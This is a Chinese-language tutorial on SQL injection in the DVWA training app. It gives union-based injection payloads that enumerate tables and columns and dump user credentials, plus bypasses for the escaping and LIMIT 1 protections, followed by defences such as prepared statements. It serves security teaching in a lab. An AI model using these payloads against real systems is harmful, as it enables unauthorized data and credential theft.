DVWA-SQL Injection
字数 1050 2025-08-11 17:39:49

DVWA SQL注入漏洞分析与防御教学文档

1. SQL注入概述

SQL注入是一种通过在应用程序的输入字段中插入恶意SQL代码来攻击数据库的技术。攻击者可以利用此漏洞绕过认证、获取敏感数据、修改或删除数据库内容。

2. DVWA SQL注入漏洞分析

2.1 Low级别漏洞

漏洞特征

  • 代码未对id参数做任何过滤
  • 存在字符型SQL注入漏洞

利用步骤

  1. 基础测试:

    • 输入1:正常返回
    • 输入1':产生报错,确认存在SQL注入
  2. 判断字段数:

    1' order by 2 -- q  # 回显正常
    1' order by 3 -- q  # 回显错误,确定字段数为2
    
  3. 确定回显点:

    1' union select 1,2 -- q
    
  4. 获取数据库信息:

    • 当前数据库名:
      1' union select 1,database() -- q  # 返回dvwa
      
    • 数据库表名:
      1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- q  # 返回guestbook,users
      
    • users表字段:
      1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q  # 返回user_id,first_name,last_name,user,password,avatar,last_login,failed_login
      
    • 获取用户凭证:
      1' union select group_concat(user),group_concat(password) from users -- q
      

2.2 Medium级别漏洞

防御措施

  • 使用mysql_real_escape_string函数转义特殊字符(\x00,\n,\r,\,',",\x1a)
  • 前端使用下拉选择表单限制输入

绕过方法

  • 由于是数字型注入,转义函数无效:
    1 or 1=1 #  # 查询成功
    1' or 1=1 #  # 报错
    
  • 后续利用方法与Low级别类似,但需要通过抓包修改参数

2.3 High级别漏洞

防御措施

  • SQL查询中添加LIMIT 1限制输出结果

绕过方法

  • 使用注释符#绕过LIMIT限制:
    1' or 1=1 union select group_concat(user),group_concat(password) from users #
    

2.4 Impossible级别防御

有效防御措施

  1. 使用PDO技术:

    • 划清代码与数据的界限
    • 使用预处理语句和参数化查询
  2. 结果数量限制:

    • 只有返回的查询结果数量为一时才输出
  3. 加入Anti-CSRFtoken机制:

    • 防止跨站请求伪造攻击

3. SQL注入防御最佳实践

  1. 使用参数化查询/预处理语句

    • PDO或MySQLi的预处理功能
    • 避免直接拼接SQL语句
  2. 输入验证

    • 白名单验证(针对数字型参数)
    • 类型检查(如intval()
  3. 最小权限原则

    • 数据库连接使用最低必要权限
  4. 错误处理

    • 禁止显示详细的数据库错误信息
  5. 多层防御

    • WAF(Web应用防火墙)
    • 定期安全审计
  6. 编码规范

    • 对所有动态数据进行适当的转义

4. 实验环境搭建建议

  1. 使用DVWA(Damn Vulnerable Web Application)作为实验平台
  2. 在隔离环境中进行测试
  3. 测试后恢复数据库初始状态

5. 总结

SQL注入是Web应用中最常见且危险的漏洞之一。通过DVWA的不同安全级别,我们可以学习到:

  • 从最基本的未过滤输入导致的注入
  • 到部分防御措施的绕过方法
  • 最终到使用PDO等现代防御技术的有效防护

开发人员应当始终使用参数化查询,并结合其他安全措施,构建纵深防御体系来防范SQL注入攻击。

DVWA SQL注入漏洞分析与防御教学文档 1. SQL注入概述 SQL注入是一种通过在应用程序的输入字段中插入恶意SQL代码来攻击数据库的技术。攻击者可以利用此漏洞绕过认证、获取敏感数据、修改或删除数据库内容。 2. DVWA SQL注入漏洞分析 2.1 Low级别漏洞 漏洞特征 : 代码未对id参数做任何过滤 存在字符型SQL注入漏洞 利用步骤 : 基础测试: 输入 1 :正常返回 输入 1' :产生报错,确认存在SQL注入 判断字段数: 确定回显点: 获取数据库信息: 当前数据库名: 数据库表名: users表字段: 获取用户凭证: 2.2 Medium级别漏洞 防御措施 : 使用 mysql_real_escape_string 函数转义特殊字符( \x00 , \n , \r , \ , ' , " , \x1a ) 前端使用下拉选择表单限制输入 绕过方法 : 由于是数字型注入,转义函数无效: 后续利用方法与Low级别类似,但需要通过抓包修改参数 2.3 High级别漏洞 防御措施 : SQL查询中添加 LIMIT 1 限制输出结果 绕过方法 : 使用注释符 # 绕过LIMIT限制: 2.4 Impossible级别防御 有效防御措施 : 使用PDO技术: 划清代码与数据的界限 使用预处理语句和参数化查询 结果数量限制: 只有返回的查询结果数量为一时才输出 加入Anti-CSRFtoken机制: 防止跨站请求伪造攻击 3. SQL注入防御最佳实践 使用参数化查询/预处理语句 : PDO或MySQLi的预处理功能 避免直接拼接SQL语句 输入验证 : 白名单验证(针对数字型参数) 类型检查(如 intval() ) 最小权限原则 : 数据库连接使用最低必要权限 错误处理 : 禁止显示详细的数据库错误信息 多层防御 : WAF(Web应用防火墙) 定期安全审计 编码规范 : 对所有动态数据进行适当的转义 4. 实验环境搭建建议 使用DVWA(Damn Vulnerable Web Application)作为实验平台 在隔离环境中进行测试 测试后恢复数据库初始状态 5. 总结 SQL注入是Web应用中最常见且危险的漏洞之一。通过DVWA的不同安全级别,我们可以学习到: 从最基本的未过滤输入导致的注入 到部分防御措施的绕过方法 最终到使用PDO等现代防御技术的有效防护 开发人员应当始终使用参数化查询,并结合其他安全措施,构建纵深防御体系来防范SQL注入攻击。